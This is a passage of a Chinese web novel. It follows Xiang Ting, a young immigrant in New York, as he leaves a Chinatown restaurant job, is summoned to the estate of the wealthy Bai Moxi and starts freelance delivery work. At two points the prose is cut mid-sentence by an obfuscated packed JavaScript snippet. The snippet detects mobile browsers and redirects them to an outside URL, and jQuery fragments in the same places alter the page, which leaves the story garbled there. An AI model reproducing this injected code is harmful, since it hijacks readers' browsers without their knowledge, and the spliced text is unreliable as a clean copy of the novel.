在梦境的包裹中,项廷脸颊上一阵轻微的痒意。好像有一只手抬起他的下巴,抚到了他的右耳根,好去看一看他那雪地里撞出来的伤口。那手宛如玉雕,连指节都像是精心照料的珍珠,端着他的脸就像轻柔地转动着高脚杯,指尖浸着白葡萄叶的清香。温存得让项廷沉入了一种随水漂浮的幻觉,几乎空着肚子就喝下去他万般蛊人的酒。但是项廷睡得太沉,迷糊地想这手真美,必能包得一手好饺子。 7. 青钱弱叶战涟漪 项廷在后厨睡了一整夜。次日鸡叫头遍,醒来发现怀中紧抱着一只枕头,发胀的头证明肯定做了不少乱梦,而且是不那么轻松的梦。但这些梦顽固地沉淀在潜意识层里,拒绝上升。只记得什么东西在灯光下闪动着眩目的洁白银光,隔着一层眼皮都被晃花了眼。 眼睛刚刚睁开,他心里便叫不好,那么多盘子还没洗,满桌满地的狼籍呢! 可是厨房就像是经过了某种魔法的洗礼。碗碟新的似的,摆放整整齐齐,瞧着就高兴。空气中弥漫着柠檬清新剂的味道,窗户一打开,地板都反着光。 昨晚到底怎么了?谁是那个大好人,帮他搞定了活? 他开始在脑子里过慢镜头。不觉踱到窗前,望着晨曦里依旧灯影幢幢的纽约,一时心里竟空落落的不着边际。 想着想着,赵师傅就进来了。项廷便拿这事问他,顺便多嘴了一句,待会得去库房清点一下。最近老赵的女儿病了,人都瘦了一大圈,看了个老中医也没查出个所以然,中医说是失恋惹的祸,多喝鸡汤补补。所以老赵偶尔搞点小动作,往家里弄点好的。老赵还不等他话说完,也不管三七二十一,心一虚只想遮掩了事:“系啊,睇你忙到七彩咁,我搭把手,好小事啫嘛,唔使摆喺个心喥。以后仲要你多多关照,快滴准备啦,就黎开工啦!”就这样,这事今天谁也没再提了。 接下来的一个礼拜,老赵的手脚愈发不干净,因为老板娘没来看店。据说秦凤英生意做得有声有色,不仅搞餐饮,还弄起了洗衣家政。夫妇俩基本在这边扎下了根,就把女儿接到美国来,最近应该是在陪她。 老赵因为要给女儿开小灶,经常找理由把项廷逐出厨房。常常一整天下来,杀鸡的次数少得可怜。大多时候他挎着个硕大的录音机,不管刮风下雨,全城跑上跑下送外卖。几辆黄色的铲雪车,慢吞吞地往返扫雪,路边的雪堆成了雪墙,自行车像在雪巷中行驶,项廷去时哼着张三的歌,虽然没有华厦美衣裳,但是心里充满着希望,我们要飞到那遥远地方,看一看这世界并非那么凄凉;回来时就唱恋曲1990,苍茫茫的天涯路,是你的飘泊,或许明日太阳西下倦鸟已归时,你将已经踏上旧时的归途。 跑外卖这活儿还挺爽的,能吸吸新鲜空气,小费也不少,跟在店里跑堂差不多。客人一开门,就能看到项廷那大大的阳光笑容:“Enjoy your meal!”发音虽然有待提高,但谁说美国人不觉得亚洲帅哥帅的?项廷介于青涩与成熟之间的英俊,不仅令人心软而且令人心跳了。 经理不知道他每次满载而归,只见他任劳任怨,凸显得大伙偷懒,便愈发讨厌。加上项廷不是偷渡来的,身份光明正大,大家很看不上,就说少爷是看世界来的,赚一把钱就跑。项廷越不在意这些欺凌,没承认过自己是受害者,不排斥任何工作,即使是洗马桶也接受,只有适当自卫没有丝毫报复,他们就越觉得他傲慢。少爷不稀得自降身份和小奸小恶之辈一般见识似得,更加可恶。有一回,项廷买了花生请大家下酒,经理就当着他的面掷在地上,他的那些服务员小弟又是一阵子怪叫,跟上去七腿八脚踩碎了。 星期一,秦凤英刚进店门,就见项廷又在挨批评。怎么回事呢?原来是经理直觉有钱在荷包里跳,发出神秘的信号,便翻外卖保温箱,发现里边有客人写的感谢便条,果然夹着几张绿油油的美金。经理就给他立规矩,从今往后,跑腿赚的小费得对半劈,上交。秦凤英知道了事情的来龙去脉,也没站边儿,毕竟经理是跟了她多年的老员工,用工市场上人脉很广,链条上至关重要的角色。她便叫项廷一块跟自己进货去,算是冷处理。 刚出门没两步,一个初高中模样的小姑娘闯出来,声音像见了鬼:“妈!” “珊珊,你怎么在这儿?” 秦凤英要把女儿揽到自己身边,却被不客气地挥开了。 珊珊在寒风里哆嗦着:“问我?我还要问你,你怎么在这里!” 说着,珊珊又把目光刺向项廷:“我要是再看见你碰我妈一下,我就杀了你!” 项廷猛一下没明白眼前发生的是什么事。秦凤英尽可能和蔼可亲,起码是不发火,说了句没味的淡话:“我们是朋友,这没什么。珊珊,你要懂礼貌。” 珊珊被这个词激怒了:“我不懂,我从来就不懂!你每天要么忙着工作,要么就是跟男人鬼混在一起,根本就没空管我和爸的死活!你看看爸在养鸡场累成了什么样子,你还在外头寻欢作乐!妈,你怎么能这样?” “Fuck you!你是个大流氓!我恨你!我恨你们两个!我恨这个家!”珊珊哭着,不停地晃着头,大声地叫,叫完跑了。 秦凤英急忙追去,珊珊已经不见了踪影。这场没头没尾的闹剧结束,项廷闷头一想,大概是因为老板的女儿正赶上那叛逆的年纪,到了美国文化冲击那么大,没人关心她,结果把家里的矛盾,父母的失和全都怪到了外人头上。 项廷往回走,见到经理和他的小团队,躲在巷头那看戏起着哄,跟着项廷一路挤眉弄眼,哈哈大笑。 人要是走了背运,什么恶心事都约好了似的找上你来。这阵子秦凤英忙着自家的一团乱麻,老虎不在家猴子就称了霸王。经理大权独揽,一开始在项廷做好的菜里故意加盐,命令他对着客人三鞠躬,后来纵容新来的杂工对他的个人物品进行小偷小摸,最后狠狠延迟发放项廷的工资。总算捱到了发薪的这天,经理召开全体员工大会,措辞激烈,一致表决项廷工作失误太多,加上库房少鸡少鸭,综合计算,你呢,倒欠我们煲煲好二十一块三。 这期间老赵一直没发声。因为项廷这阵子执着于论证那天晚上谁干的活,没人认领,那是不是有贼溜进来了?洗碗槽那的窗户玻璃不就碎了?言者无心听者有意,老赵心里大大有鬼,只觉得必然他起了疑心,你小子太多事,非要揪出我似得! 项廷回到后厨,那把刀转来转去跟机械手一样。老赵缓缓坐到墙边的椅子上去,才说:“你已经出师,是个宰鸡专家了。” 项廷说:“我只会宰美国鸡。美国鸡太老实了,老实就只配有这种下场,悲哀不悲哀,荒谬不荒谬?我要是只鸡,拼了命也要飞一下,就算是从门缝里飞出去,起码到天上扑棱两下。” “这是它的命,它只配有这样的命。鸡鸭都自己的命,人也一样。”老赵想替他挥刀,削去鸡头,“好好杀,好好杀,它一辈子也是一辈子,让它落个好死。” “有人给你说情,你好好死吧。”项廷说着手起刀落,快老赵一步在鸡脖子上一抹,往铁桶一扔,“鸡有鸡道,人有人道。你说怎么死不是死,砍头还痛快些,人道。” 项廷一声不吭,有序地抓起鸡来一只只放血。老赵心中惭愧地转身走了,项廷把手中的刀平摊在台面上,慢慢捏拢了,攥紧。 经理进来又要找茬时,项廷毫无表情地看着他。经理对这表情感到极大陌生,一下子拉大了心理上的距离,倒真像有种什么不可理解的力量扑面而来,他物理上也后退几步,眉毛快跳到脑门上去了。 项廷却不紧不慢一步步走过来,垂着的两只血淋淋的手在他眼前晃动,看热闹的数个小弟也莫名被掀了个屁墩。项廷一边在围裙上擦着血手一边说,今天,这是我在这里的最后工作日。 主动离职是对的,当天下午老板娘现阶段的合法丈夫就找了来。其人物,感觉和珊珊说的不符,后得知只是个继父。 那是一个南方小男人,见不得老婆比自己强,靠老婆养那还不如搓根草绳吊死算了,被养久了心里扭曲,遂信了女儿的话赶来抓奸,发癫。老赵听了外边动静,把项廷按回自己坐的椅子上,郑重地把腿跨了出去,他去出面摆平,算是帮徒弟做的最后一件事。但事情完全是另一种走向,她老公是来开罪经理的,大骂他两奸夫淫/妇粘乎了这么多年。大庭广众之下,经理嘴角失控地歪了几歪,立马嫁祸项廷,老赵一招制敌。 项廷这天没回家。因着一大早,房东就在地下室门口等着他,催他赶紧交水电费。工资被克扣了之后,他要是交了房子的费用,就凑不足语言学校的第一期学费了,学杂费就更别提了。是拆了东墙补西墙,还是再找个地方打打工?可那样就赶不上春季开学了。反正,绝不去中餐厅了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398194|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿社会主义工资过资本主义日子,死活不够。 打烊之后,项廷一个人在黑暗中用劲思考何去何从。 靠墙睡着之后,奇迹再次发生,厨房焕然如新。 三个小时后。曼哈顿顶级公寓,高耸入云,仿佛与天穹融为一体。 蓝珀裹着墨色睡莲般的浴袍,嘴里含着一块戒烟糖,手中一杯浓郁的意大利香料酒。好容易下决心睡个懒觉,电话铃又催命似地哇哇大叫起来了。 他裸着的那边肩膀松松地夹着电话:“好了,谟玺,别再埋怨我错过了今晚的聚会了。你要继续这样耿耿于怀下去多久呢?一寸时间一寸金,想想吧,世界上恐怕只有我们两个会这么打发一夜了。 ” 蓝珀一部分的工作,便是出入各大场合,兜揽生意。白谟玺带他在身边的时候,不仅虚荣心得到充分的满足,各种拜会可以说是空前成功,至少有一半要归功于蓝珀,他真的特别有那种把最难缠的商业对象统统搞定的魅力。 蓝珀如此之有用,却极其不好用,因为他动不动为着自己的离奇信仰挺身而战。在蓝珀占卜出不吉利的日子里,他十万个拒绝上班。仿佛天生这么个懒人,得过且过,不求大赚特赚。头一次事发,白谟玺以为他病了去探望。蓝珀就把人扔在门外说他不祥,然后用烧热的纯银的迷你剪刀在他周围的一团空气中目中无人地轻舞悠扬,接着拿着用香草和丝绒自制的扫把一遍又一遍地扫地,最后在门口拉起一条珍珠绳桥,表示倘若你可以安然越过它,我就相信你不是恶灵前来纠缠我。白谟玺感觉怪异好笑,蓝珀这一套酷似美国境内最原始的难民团体,搞的蹩脚宗教仪式。可看他实在美丽,又是觉得这些小动作说不出的纯真可爱,白谟玺对脱俗的美貌素来心软几分,尤其对上蓝珀十分缺少招架之力。一片俏心肠,一团香玉温柔,柔惠且直,我见犹怜,蓝珀那极易受惊的样子还真像掉到兔子洞的艾丽斯。白谟玺心情大好就笑问他,如果我非要进去,你这样作法就能让自己的灵魂出窍,骑上独角兽,飞驰过天地间十二座山脉,越过龙栖息的大海,来到肉眼不可见的领域,与从时间迷雾中现身的当地的灵谈判不让我进吗?蓝珀便拿着一只超高瓦数的灯照过去,往白谟玺头上盖了三层加厚的消毒巾,发出八个音调间上扬或下滑时类似大闪蝶振翅的声音,接着采取现代化的措施,关上大门。吃了这一次闭门羹,白谟玺往后每逢他神叨的时候,便只赞叹他法力高强。蓝珀半开玩笑地说过一次,白家庄园里那些棕榈叶会变成骇人的手指,白谟玺遂随喜,命人一夜间全拔了去。 今天又是如出一辙,蓝珀算出来今天是个无赖至极的大阴天,不利于行。可晚上的生意实在关键,稍稍谈不拢,苦心孤诣经营多年的大厦便轰然倒塌。白谟玺好说歹说,蓝珀纹丝不动,后果是八成生意黄了。 白谟玺固然非常生气。可是父亲批评他,一个商人不是生来等别人喂饭吃的,像这样靠蓝珀吃饭,你只会感到无地自容。 白谟玺倒不是让步投降,只因男人这时动了怒便落于下乘,耐着性子柔声道:“我知道我们可能有点误会,宝贝,我绝对没有介怀的意思。只是想关心你,今晚你都忙些什么了呢?” 蓝珀剪指甲中:“洗澡。” “洗完澡了呢?” “只是洗澡,身上到处都很脏,所以洗了很多次。” “……你真的宁愿整晚泡在浴缸里,也不愿意来我这儿,只是和朋友们聊聊天。Lan,我为这么件小事从一个月前就开始拜托你了。” 蓝珀永远这样子轻轻慢慢:“你别这么动感情好不好?我现在脏得都要休克了。” 白谟玺被他一点,也不想自己再如此无聊多话下去,道了晚安,挂掉电话。一个人在书房静坐一会,满心想着如何补天,描补晚上生意的大窟窿。 一直枯坐到凌晨两点,此时于无声处听惊雷,私家侦探发来简讯,报告了蓝珀今夜的行踪,另附唐人街照片若干。 白谟玺是个颇有教养的上流人士,这次却没好气到每个人都有点听出来了:“把那小子给我撵出美国,来的什么样就让他滚回去什么样!” 8. 马上倒悬双白狼 项廷从深沉的梦乡中醒来。这次他怀里没抱着枕头,窗棂那儿却留了一块方巾胸帕,就像灰姑娘落下的水晶鞋。 他捡起来这东西,带给对街干洗店的大婶瞧。大婶一眼看破,说是古老的辫织。拿了老花镜来仔细瞧,领域展开,说此乃先将8根、12根或者16根彩丝分成4组,编成扁平的辫带,然后回旋满缀于底布成花,接着按剪纸的轮廓由外向内盘绕刺绣,远比平绣更有立体感,你摸摸多有手感,故名雕题镂身。项廷听得云里雾里,但感觉厉害,特种技法,他只关心这上头绣的什么?大婶说,这一块的蚕丝挑绣要反面挑、正面看,玄妙不可言。项廷在灯下研判良久,那颜色自由不羁,那图案人神混同,真心来说,比较地四不像。 其实,那里面承载过往所有的旧梦,此时却给不了项廷一个答案。 项廷心里头被搞得七上八下,把手帕揣回胸前,回到煲煲好收拾东西,准备离职。 赵师傅今天来得比谁都早,全体公鸡个个孵蛋似得在地上窝着,厨房里淡淡地荡着一股寂寂落落的空气。项廷看他欲言又止,自己便先开了口,无外乎感谢师傅照顾的话。老赵说:“小子,你的样子傻傻的,但是浑身上下透着那么一股劲,块头也不小。师傅本来想这把菜刀送给你,可你不是杀鸡的命,书还是要念的。” 二话不说,老赵塞给他一个纸包,里面是美钞,正好五百块。老赵自掏腰包,把经理扣下的工钱如数给他了。 “师傅,别操心了,我真的不缺钱。家里刚给我寄了一大笔钱,几辈子都花不完。”项廷明朗一笑,一边抬头说话,一边帮忙打下手,切鱿鱼,都是标准的麦穗纹。 老赵看他不收,又说:“这是借的,你打个欠条,不要利息。” 项廷仍然坚持:“真的不用,您家千金不是还病着?那钱留着,尽快找个西医看看吧。我听说没有医疗保险,美国看病就是烧钱,贵得能让人破产呢!” 老赵想起了女儿,脸色一灰:“我家哪个叫千金啊?唉,你说的也是,发不了大财的人这几个钱才要守着。你好好读书,将来肯定能挣大钱。我老赵今天胡乱算个八字在这里,到时候看。” 经理也特意提早上班,冲着轰人来的。不少女孩子心仪项廷,一直没有胆子进一步发展,所以男人们喝倒彩的时候,女生这里气氛一片低迷。老赵买了两瓶冰镇啤酒,两人也没空喝,一扭头被嘻嘻哈哈的服务生一口气吹掉了,最后项廷抱着一盆猪头肉就走了。 项廷走出店门,把猪肉放在自行车的前筐里。美国人骑自行车是锻炼身体,哪像中国那样通勤,所以基本都是山地车类型,没筐,没座。这一辆车是项廷自己改装的,那个车筐就是个捆了铁丝装鱼的塑料桶。 项廷骑出唐人街,渐渐行至代表了“美国的气派、豪华、慷慨与黄金帝国的威严”的公园大道,刚穿过60街中心的花坛,就遇到了红灯,与一群西装革履的上班族一起等待绿灯。 放眼望去,从46街到96街,每街口两个巨大的方形郁金香花坛,将这条大道变成由白色与猩红色花瓣相隔组成的100个方阵,馨香花色伴随着街心吊灯下像翅膀般的100对美国国旗双翼,壮丽地延伸向那幢带着金碧辉煌的皇冠状穹顶的Helmsley大厦巴洛克式的圆形拱门。 前面就是第五大道和中央公园交口了。广场鲜花盛开,芳草如茵,十九世纪沿袭下来的插花双轮马车载着游人悠哉踏过,中心是独立战争时期威廉·舒芒将军的金色雕像。广场的正面,那是特朗/普名下犹如法国古典宫殿城堡的饭店。 饭店前女神雕像下面,偶然也有乞丐的身影。项廷口袋里正有几美分的硬币,可定睛一看,美国的乞丐都牵着导盲犬呢。继续骑行,有个溜冰场,依旧特朗/普的产业。看着人们在阳光下溜冰真令人舒畅,但是项廷暂时不想加入进去。他想,全世界都在等着看我摔跤,溜冰却总有一天会成为我的强项。 项廷决定先去缴清水电费,总觉得欠着别人不是个滋味,骨骼里缺了钙。他打算再找个地方打工,等凑齐了学费,插班上学。 正要回地下室,一辆劳斯莱斯在路边停了下来。隔着窗,看到那司机戴白手套,哪怕春寒料峭,一身极薄的亚麻黑色西装。车上下来个更加精心打扮的秘书角色,彬彬有礼:“早上好,白先生有请。” 开了不知道多久,甚至可能离开了纽约州。 项廷被载到一幢奶黄色的古老豪华的城堡前面。一排穿着制服的女仆和带着领结的男仆恭候,跟电影简爱一模一样。司机停车,打开车门,一位带队的女管家上前向客人行了一个优雅的屈膝礼:“为您效劳,先生。” 项廷进了城堡,这才知道刚才他进来的铜色门,只是个后门,而雄伟的前门,面对着蓝如宝石的大海。 如果不是预感到是一场鸿门宴,是个凡人置身于如此如画风景中,必然感到一阵强烈的陶醉。沙滩宽阔又漫长,细软的沙子在阳光下闪耀金光。从海滩到别墅中间隔着一个花园,花园中有十座欧洲十八世纪风格的人体雕像。花园南部有游泳池,花园北部是网球场,露天酒吧,在鲜艳的太阳伞下随便放着鹅黄色的帆布椅。 男仆带项廷参观。兼做舞厅的大客厅那有一架白色的三角钢琴,在宽大的玻璃窗前,映衬着一片大海,使整个客厅也发出一片淡淡的莹蓝色。城堡前头全是主人住的,从每扇窗子看出去都是一片熏人欲醉的蓝,深邃的海军蓝、明亮的天空蓝、柔和的薰衣草蓝;后头则是仆人和司机、花匠住的,前后两部分由走廊甬道联在一起。 午后的阳光洒在挑高的天花板上,形成斑驳的教堂花窗般的光影,书架上有不少珍贵的第一版古著,一只阿富汗猎犬正陪伴着他的主人。随着门外脚步声渐近,白谟玺轻轻放下手中的羽毛笔,优雅地调整了一下坐姿,面带微笑地准备接见项廷。 笑容却对上项廷不耐烦的眉眼,其实这也在白谟玺的预料之内。 事与愿违,项廷着实不是一副被泼天的富贵骇住的模样。他这种表情,单纯因为房东刚刚又催了款。白谟玺把他绑到这么远的荒郊野岭,城堡里能电子汇款吗?要是能,项廷并不在乎仿佛几个小时的车程,就为了过来体验一个暴发户才有的现世心态,如巴尔扎克言,有钱的人从来不肯错过一个表现俗气的机会。 “随意,请便。”白谟玺款款地倾注着一壶刚刚泡好的伯爵茶,加入几滴柠檬汁和一点水牛奶,“好久不见了,你最近还好吗?” “我还行。”项廷很渴大口喝茶,喝完自然而然接一句,“你呢?” 白谟玺在小桌子上下象棋,跟自己左右互搏。听到此话眉毛稍稍一抬,对方平淡的两个字,搞得自己才像那个需要别人来特地关心悲惨境况的对象。他是让项廷客随主便,可没有让他反客为主啊。 白谟玺好笑地瞟了一眼窗外的大海,转而笑道:“还不错,真的是这样吗?可我听说了你最近工作上的小插曲,在那家中餐厅被解雇,其实是他们的损失。但这样一来,学费的问题就摆在面前了吧?这里是一点小小的见面礼,希望能为你解决一点燃眉之急。” 仆人双手呈递上来一个精美的信封,内有一张薄如蝉翼的支票。 项廷却毫不犹豫:“谢谢,你有心了,我不能收。” “哦,这还真是让人费解。”白谟玺挑了挑眉,“你不会是想和我探讨所谓的‘骨气’问题吧?你要知道,在我和Lanny的圈子里,我们更看重的是实际效益和互惠互利。骨气,你纯正家乡味的字眼,听上去很有诗意,但在现实里,可能就不那么实用了。” 项廷不收,因为防人之心不可无。前天深度抄写了一篇美/国之音课文,里面说现在富人不长良心,大搞过期支票、空头支票,某些支票兑现服务还收高额的手续费,要么支票已被报失,提款就等于自首,或者接受大额支票会被法官认为是参与洗钱活动的一部分,种种危险,深不可测。最重要的是,免费的午餐必然附带隐含条件,不管这属于经济上的赠与还是借贷,接受了白谟玺的支票就等于承认了某种深重的债务,要么道德,要么感情。 项廷没道出真正想法,只是从善如流地顺了下去:“中国人确实不能没有骨气,我父亲说过只要手里有枪,干吗不跟敌人拼命?大不了给自己留一枪。我姐也说,爸爸是统兵上万的大首长,做儿女的不能丢他的脸。” 白谟玺听笑了道:“一来一往,听这个听那个,我都快搞不清楚状况了,差点以为我今天见了大观园里的贾宝玉。耳朵空闲的时候,还是多听听Lanny的意见吧。他在某些方面确实有独到见解——比如,他对你的厌恶已经达到了一种仇人的地步了。温和点说:他与贵宅有些过节,看到你就浑身不舒服,他需要一个永远见不到你的空间。这是为你好,别让我有机会再说一遍。” 项廷心里大大困惑:奇了怪了,他和我家有过节,那干嘛过我家的门呢?我又为什么非得见他?要不为了抓你两的奸,你两都给我沉到太平洋,百年好合去吧你! 白谟玺默认他默认,愉悦地把对面的国王将军了:“一言为定,不悔棋。所以,你之后有什么计划?” 项廷有一说一:“找个工打。” 白谟玺:“你难道就知道苦做?哪个有钱的人是苦做出来的?你看看Lanny,他有多能干,里里外外简直是多才多艺的化身,会随机应变,能见风转舵。可你好像除了吃苦什么也不学。” “蓝珀?”项廷认同他前半句,后半句十分存疑,“他很牛吗?” 白谟玺一副被滑了天下之大稽的神色:“你说Lan?他能让州长在百忙之中抽出时间聆听他鬼扯,以及怎样在面谈的十分钟里说完原本十个小时也说不完的话,最后让政府以为占了大便宜似的买下他的一堆小发明、小破烂。不但要和美国人商谋事业,还要和日本人深度交流、和韩国人合作共赢、和越南人探讨未来、和南美人并肩作战。小朋友,给你十年,你能做到他的十分之一吗?” 饭点,仆人进来送客。白谟玺总结:“今天的交流确实令人十分愉快。如果日后需要帮助,我乐意协助。” 项廷虽然起了身,但说:“白先生,我不好意思拿你的钱,那个免了。但别日后了,你今天能帮我个忙吗?能给我写封推荐信吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398195|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我正想申请那个语言学校。” “哦?你是个聪明的年轻人,在中国提前学好了英语,那来到美国直接去大学深造,岂不是可以避免浪费太多宝贵的时间和金钱?” 项廷实不相瞒:“这个是我偷了懒,疏忽了。拿到签证以后,我整天在武馆练武,心想美国没有这玩意,英语出去了再慢慢学。” 白谟玺恰如其分地作出一点恍然大悟的表情,坐回了书桌前,找一张心宜的纸便找了三分钟,又叫仆人去取他写得最服帖的那支万宝龙来。 等待笔墨伺候期间,项廷虚心请教的态度:“如果这事给你添麻烦了,我能不能换个忙请你帮?你对这东西有印象吗?” 项廷掏出手帕时,白谟玺脸色就变了,眉毛微微跳了两跳,一下子醒透了。 项廷简要说了故事。特别是客观陈述厨房变得如何如何一尘不染之际,白谟玺表情已经绷得很紧,直接打断:“你难道想说是Lan做的吗?我承认,他是太爱干净了,早该看心理医生。有次来我家里,他戴上医用手套,穿上了英国小说中女仆穿的那种白色抽纱围裙。第一件事就是跪在地上擦厨房的地板,然后又是消毒液泡浴缸,美缝剂填瓷砖缝隙,吸地毯,换猫砂,上了发条似的一刻不停地收拾到晚上十一点四十五。我对他说:你做得不错,该给自己小憩的时间了,该是犒劳自己的时候了。他只想一个劲地问我,是不是一切大变样了?有没有让你眼前一亮?” 项廷不明白他插播这段的意义何在,想说,这要是我觉得是蓝珀,学雷锋做了好事不留名,那是他疯了还是我疯了?我把手帕拿出来给你认,纯纯是看你实在不想写推荐信,退而求其次,给彼此个台阶下罢了。唐人街里都问不出名堂来,那么在我仅有的美国通讯录里,见过世面,且能使用中文无障碍沟通的人,有几人?不问你还问谁?天王老子吗?西天佛祖吗? 项廷作罢要回家,白谟玺却用不知名的钢笔光速写好了信,大笔一挥,签名龙飞凤舞。一眼也不多看那手帕,那意思好像是:拿好你的信,别再提这个了! 项廷提着的那颗心噗的一松,真诚地道了谢,伸手去拿信。 可那头一直驯顺的猎犬,突如其来咬住了这封“价值连城”的信,紧紧叼着它夺路而逃。 项廷第一时间追出去,从华丽的大厅到曲折的走廊,穿梭城堡精彩冒险。仆人们发现这一幕以后,以为刺客,峨眉山的猴子似得飞扑上来擒敌,但被一人一狗的灵活与速度远远甩开。 白谟玺微微一惊只觉得喜剧,摇了摇头,继续摆弄他的宝贝象棋。 听到天鹅绒窗帘布后的窸窣动静,白谟玺咳了一声:“出来吧,人都走了。” 窗帘后出现一个秀美的独眼少年,便是白谟玺的幼弟,叫作白希利。 白希利矜骄地扬着下巴:“我看这个人不仅伶牙俐齿,而且指手画脚,有的话讲起来漫天撒网,不给点教训怎么能行?哥,你亲笔的推荐信,难道只因为蓝珀那家伙的一句话,随随便便的小混混都能骗到手的吗?” 白谟玺手搭在太阳穴那,一副不想多谈的样子:“你什么时候学得张牙舞爪的?时刻都要注意自己的身份,检点一下,别开这种现眼丢人的玩笑。” 狗是白希利养的,刚才是他偷偷用手势下达了命令。白希利远远瞧了一眼,狗钻到花园里去了,太好咯!项廷跟丢了。 白希利很是自鸣得意了一会,说:“你就那么看好他吗?哥,你装装的!” 白谟玺懒得评价,照理说他不该把项廷放在眼里,当作个人。但这小子热诚又不趋奉人,待人接物那一套,酷似中美关系斗而不破的招式。总感觉早晚会从给蓝珀添堵,变成蓝珀心口上的囊肿,早除早好。 想到蓝珀,白谟玺又是倾肠倒肚的。昨晚上遭遇了些许不和谐,分明错在蓝珀,现在又去热情如火地贴着他不是太可笑了吗?可是自己是做男人的,当个出气筒也是承担一份责任,是不是?白谟玺钟爱被依赖带来的满足,他太看重这种感觉。只是上次惹得蓝珀恼了,蓝珀扬言下次再犯,要拿黑狗血泼他。思来想去,事缓则圆。 白希利看他走神,不爽地叫:“哥!” 然而哥字未落,窗外传来咻的一声。 白希利下意识大叫不好,连忙扑向窗台。 只见一股锐不可当的劲风划破了傲慢的空气,一支流星般的箭矢以匪夷所思的准度,刺穿了狗嘴中的信,信牢牢钉在了树干上。狗还在跑。 原来项廷奔跑路过大厅时,急中生智,取下了墙上装饰用的弓弩。所以白希利刚才看去的时候,项廷才落后了那么一程。 众人错愕的眼光中,项廷走到树下拔出弩箭,把信折好收到衣服里面,转过身来,对窗台呆立的白氏兄弟报之一个感谢的笑,笑容如夏风般爽朗,白羽箭闪闪发光。 白谟玺正为着生意焦头烂额,没空在这见证奇迹,和马戏团猴戏有什么区别?正要走,只见白希利不知何时一股脑缩回了窗帘后头。这个天不怕地不怕的小少爷,脸像喷了红漆,方才看到项廷的那一刻,甚至屏住了呼吸,想象的翅膀自此一刻再也不能停止振动。 9. 横也丝来竖也丝 项廷终于把水电费交了,这下没人再来催账,他也能清净地过上两天,脱产学习。 他每天就待在家里,捧着英语书对着墙壁无穷无尽地读。为了防止打瞌睡,他把装着蓝莓糖的肥皂盒子顶在头上,一旦头一歪,糖就掉下来,无耻姐夫的形象陡然浮现,立马让他有了精神。 也不是昏天黑地学下去,他早晚出门跑步。他出汗厉害,每次会戴一块挡汗的头巾。有次匆匆错把那条香帕戴在了头上,街上小姑娘对着他笑,摇椅上的看报老太问他是不是东洋人,因为搞得像日本人的钵卷,只差写必胜、精忠报国、龙马精神。项廷说Chinese,Chinese,老太太耳背,项廷提高音量,强调了快十次。老太太无限生疑:中国不类似印度吗?话不投机,项廷默默地把她的报纸扶回去,您还是接着晒太阳吧奶奶。 项廷拿下手帕握在手里,心里暖洋洋的,一想到那位一双巧手、柔软无言的田螺姑娘,桃花是飘飘,南风也薰薰。事实上丢了工作没了社交之后,他才发现一贫如洗根本不算什么,人在国外,孤独才最恐怖。项廷血气方刚又好排场,在北京时有一起长大的铁哥们,屁股后头一大群蹭吃蹭喝的小跟班。到了美国,就赵师傅和老板娘把他当个人,别人呢?于是他对那方手帕非常珍惜,主要是自发地丰满了它的涵义。还剩一公里他也不跑了,着急回家就忙把它仔仔细细折起来,收在枕头底下,怕满身大汗臭到了它,又将卫生纸折成一只千纸鹤陪它。有时清夜里他把它取出来,掏出口琴,吹一首《故乡的云》。对比之下,一见到床头柜上那颗横眉冷对的蓝莓糖,愈觉人嫌狗厌。 在煲煲好经理大力推广的情况下,项廷不受唐人街的欢迎,可并不影响他在华人圈子里的游走。凭借送外卖建立的人脉,失业一周后,他重操旧业。 这次,他没去应聘固定岗位,而是挨家挨户找上饭店老板,把自己包装成了物美价廉的第三方骑手。项廷说,你们用餐高峰期的人手本就紧张,客人给外卖员的小费顶了天也就15%,放着我来,我不仅不要一分钱,还反过来保证你们20%的小费。各位老板起初以为新型骗术,后来看项廷真的让他们实现躺着赚钱,何况项廷等餐期间,时不时搭把手改个刀,丝归丝条归条,豆腐上能雕龙;炒个菜,色香味俱全。天底下还有这样的好人好事么?有人打听,项廷没吐露他的生意经:熟客都给他30%,他每单净赚10%。 如今不用在乌烟瘴气的后厨了不说,这活计更蕴含着先进的军事思想。这就叫作打游击,灵活多变、成本低廉且依赖民众支持,此乃弱小一方在不对称战争中的重要战略。你褫夺了我编制是吧?OK没问题,我还非不当正规军了,今天在这家做做,明天拍拍屁股就上那家去,您哪位经理还能挖空了心思来挤兑我么? 他不光送吃的,衣服杂货来者不拒,随叫随到。有一次,他用购物小推车送一根四米的旗杆到曼哈顿上城去。送货的地点是一个议员的家,给他开门的竟然不是管家而是议员本人。项廷在与贵人交友方面有天赋,他总是活力满满干劲十足,这正是死气沉沉的上流空气所缺少的。他还帮忙修好了水管,花了一下午时间在花园割草,以至于夫人对他印象不俗,留他吃饭,虽然只是和仆人们同桌。 这天中午,项廷订单的目的地是高盛广场。按地图找到韦斯特街200号,那是一幢四十层多高、披着茶色玻璃幕墙恢弘的现代大厦。他从没来过这,高端商务人士通常不在上班时间吃中餐吧?而且哪哪都找不到公司字样,大门上没有,门童的制服或发给访客的徽章上什么也不写。一切太低调,项廷还以为来错地方了。 他推门进入大厅,门卫立即迎上来问他找谁,我们这外卖不可以送上去。 项廷照着餐卡上的信息,按拼音念:“Sa-man-tha…Gar-ci-a……” 